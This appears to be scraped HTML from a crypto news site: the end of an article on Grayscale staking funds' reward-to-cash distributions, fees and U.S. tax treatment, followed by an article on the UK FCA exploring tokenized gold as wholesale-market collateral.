style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Fund</th> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Total assets</th> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Staked assets</th> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Share staked</th> </tr> </thead> <tbody> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">ETHE</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$1.22 billion</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$999.96 million</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">About 81.7%</td> </tr> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">GSOL</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$101.16 million</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$101.05 million</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">About 99.9%</td> </tr> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">GAVA</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$4.27 million</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">$3.45 million</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">About 80.9%</td> </tr> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">Combined</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">Approximately $1.32543 billion</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">Approximately $1.10446 billion</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">—</td> </tr> </tbody> </table></div>Those staked balances are principal positions rather than the amount subject to recurring sales. The conversion requirement covers rewards generated by those positions. The reports do not provide current annualized reward rates, and future sales and distributions will depend on rewards actually received, the amount staked, protocol-level reward rates, token values and applicable deductions.Fee structures also differ across the three products:<div class="raw-html-embed"><table style="border-collapse: collapse; width: 100%;"> <thead> <tr> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Fund</th> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Annual Sponsor fee</th> <th style="border: 1px solid #fff; padding: 8px; text-align: left; color: #fff;">Staking-related deduction</th> </tr> </thead> <tbody> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">ETHE</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">2.5%</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">23% of gross rewards for Sponsor staking and validator fees</td> </tr> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">GAVA</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">0.35%</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">23% aggregate reward deduction</td> </tr> <tr> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">GSOL</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">0.19%</td> <td style="border: 1px solid #fff; padding: 8px; color: #fff;">7% aggregate Sponsor and validator deduction</td> </tr> </tbody> </table></div>The annual Sponsor fees and reward deductions use different calculation bases and should not be treated as additive percentages. ETHE has already provided an operating example of the reward-conversion model: the fund distributed approximately $9.4 million, equal to $0.083178 per share, on Jan. 6, 2026, after selling staking rewards earned from Oct. 6 through Dec. 31, 2025. Different asset balances, staking participation, fees, reward rates and token values make that payment unsuitable as a forecast for the three funds.<hr>We’ve launched the all-new COIN360 Perp DEX, built for traders who move fast!Trade 130+ assets with up to 100× leverage, enjoy instant order placement and low-slippage swaps, and earn USDC passive yield while climbing the leaderboard. Your trades deserve more than speed — they deserve mastery.<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://dex.coin360.com/" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Start Trading on COIN360 Today!</a></div></div><hr><div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>Cash Payouts Carry Separate Tax Treatment</h2>The cash-conversion structure can produce several potential U.S. tax consequences under ETHE and GSOL tax disclosures. Assuming grantor-trust treatment applies, a U.S. holder is generally treated as receiving a pro rata share of staking income when the trust earns it. A later sale of reward tokens to finance the cash distribution can also allocate a pro rata capital gain or loss to the shareholder.Under the treatment described in the filings, receipt of the distributed cash itself should not constitute an additional taxable event. The disclosures caution, however, that grantor-trust treatment is not guaranteed. They also identify potential unrelated business taxable income for certain tax-exempt holders and unresolved sourcing or withholding questions for non-U.S. investors.The two Grayscale developments occurred within the same regulatory filing window but were not presented as causally connected. The staking amendments were executed before the altcoin withdrawal requests, while both sets of actions reached filings over the following day. The staking-distribution development was released Aug. 11, 2026 at 12:30 a.m.&nbsp;<a href="https://coin360.com/coin/gmt-stepn-gmt">GMT</a>, following the Aug. 10 publication of the ADA, DOT and HBAR withdrawal development.This article has been refined and enhanced by ChatGPT.

Grayscale Drops Three Altcoin ETFs as Staking Funds Formalize Cash Payouts

<h2>Regulator Explores Bullion as Collateral While London Faces Growing Competition</h2>TL;DR<ul><li>The UK Financial Conduct Authority is developing an approach to tokenized gold and consulting financial institutions on its use in wholesale markets.</li><li>London remains the largest over-the-counter gold trading hub, accounting for about 70% of global notional trading volume.</li><li>The work forms part of a wider UK push to tokenize financial markets, including securities, settlement and collateral.</li></ul><hr>Trade smarter on Jupiter, Solana’s leading DEX built for fast execution and deep liquidity.&nbsp;Swap tokens at competitive rates, route across multiple liquidity sources automatically, and access perpetuals, DCA, and advanced trading tools — all in one place!<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://jup.ag/?ref=g33ohytogabt" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Trade on Jupiter!</a></div></div><hr>The UK Financial Conduct Authority is&nbsp;<a href="https://www.ft.com/content/9973f186-5834-4b66-8faa-e8b2e8711466?accessToken=zwAAAZ_qjqQckdOZc_GGWDRLZtOPquiy6HEUZg.MEYCIQDwmg9V4UZwu6yDpFP8fxfhL3h4ESJwf2xz9uaKw6GANAIhAKCnRoLPvYihvBir4KWtgksB-c3kt2c9NSnIxXyc8onw&amp;sharetype=gift&amp;token=b1881756-1e32-4488-8419-793f9e071777&amp;syn-25a6b1a6=1">preparing rules</a> for tokenized gold and consulting banks and other financial-industry participants about using the&nbsp;<a href="https://coin360.com/glossary/blockchain">blockchain</a>-based representation of physical bullion as collateral in wholesale markets. The initiative, reported on Aug. 10, 2026, forms part of a broader UK effort to digitize financial markets while preserving London’s position as the world’s leading center for over-the-counter gold trading.The FCA has sought feedback from financial institutions on potential standards for tokenized gold and the opportunities and challenges associated with tokenization. An FCA spokesperson said the regulator’s work is not tied to a particular retail application and instead covers tokenization developments across the wider market.“We're monitoring developments across tokenisation and digital assets, including emerging use cases such as tokenised gold,” the FCA spokesperson said.The FCA plans to continue engaging with the financial industry as it develops its policy. “We'll have more to say on our approach to tokenisation soon,” the spokesperson said. The regulator is expected to provide progress on rules for tokenized digital assets within the next few months.Tokenized gold involves creating digital tokens that represent ownership rights in physical gold, with the token issuer holding bullion as backing. The FCA’s work is examining whether such assets could also serve as collateral in wholesale financial transactions, extending tokenization beyond digital ownership records into institutional market infrastructure.<div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>London’s Bullion Lead Meets Growing Competition</h2>London’s over-the-counter gold market historically ranks as the world’s leading center for bullion trading and accounts for about 70% of global notional gold trading volume, according to the World Gold Council. London’s dominance, however, is increasingly being challenged by China.The FCA’s discussions are therefore taking place alongside a wider effort to modernize UK wholesale financial markets through tokenization. That strategy includes making digitally represented assets usable across issuance, trading, settlement and collateral processes rather than limiting tokenization to investment products.Chris Woolard, the U.K. Treasury's wholesale digital markets lead, laid out a 12-month plan in July 2026 to accelerate the digitization of the country’s financial markets. A government-backed industry task force estimated that tokenization could increase UK annual economic output by as much as 33 billion British pounds, equivalent to $44 billion, by 2035.The broader roadmap also calls for the UK’s first tokenized government bond by early 2027 and seeks to make tokenized securities usable for trading, settlement and as collateral. Those goals parallel the FCA’s examination of tokenized gold as a potential wholesale-market collateral asset.<hr>We’ve launched the all-new COIN360 Perp DEX, built for traders who move fast!Trade 130+ assets with up to 100× leverage, enjoy instant order placement and low-slippage swaps, and earn USDC passive yield while climbing the leaderboard. Your trades deserve more than speed — they deserve mastery.<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://dex.coin360.com/" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Start Trading on COIN360 Today!</a></div></div><hr><div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>FCA and Bank of England Broaden Tokenization Push</h2>The FCA and the Bank of England unveiled plans in May 2026 to modernize and tokenize financial markets, placing the tokenized-gold discussions within an existing regulatory program rather than treating bullion as an isolated digital-asset initiative.“Tokenization has the potential to transform wholesale markets – reshaping how assets are issued, traded and settled,” Simon Walls, executive director of markets at the FCA, said.The FCA’s current approach links tokenized gold to that wider transformation. Physical bullion would remain the asset backing the digital token, while the regulator is exploring how tokenized ownership could function within wholesale financial infrastructure and potentially serve as collateral.The Financial Times first reported the FCA’s tokenized-gold initiative on Monday, saying the regulator had approached financial institutions to explore rules intended to foster development of the market. The FCA subsequently confirmed that it was monitoring tokenized gold and broader digital-asset use cases and planned further engagement with industry participants.<div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>FAQ</h2>What is tokenized gold?Digital tokens representing ownership rights in physical gold held as backing.What is the FCA examining?Potential tokenized-gold rules and its use as collateral in wholesale markets.Who is the FCA consulting?Banks and other financial-industry participants.What broader market functions does UK tokenization target?Issuance, trading, settlement and collateral.This article has been refined and enhanced by ChatGPT.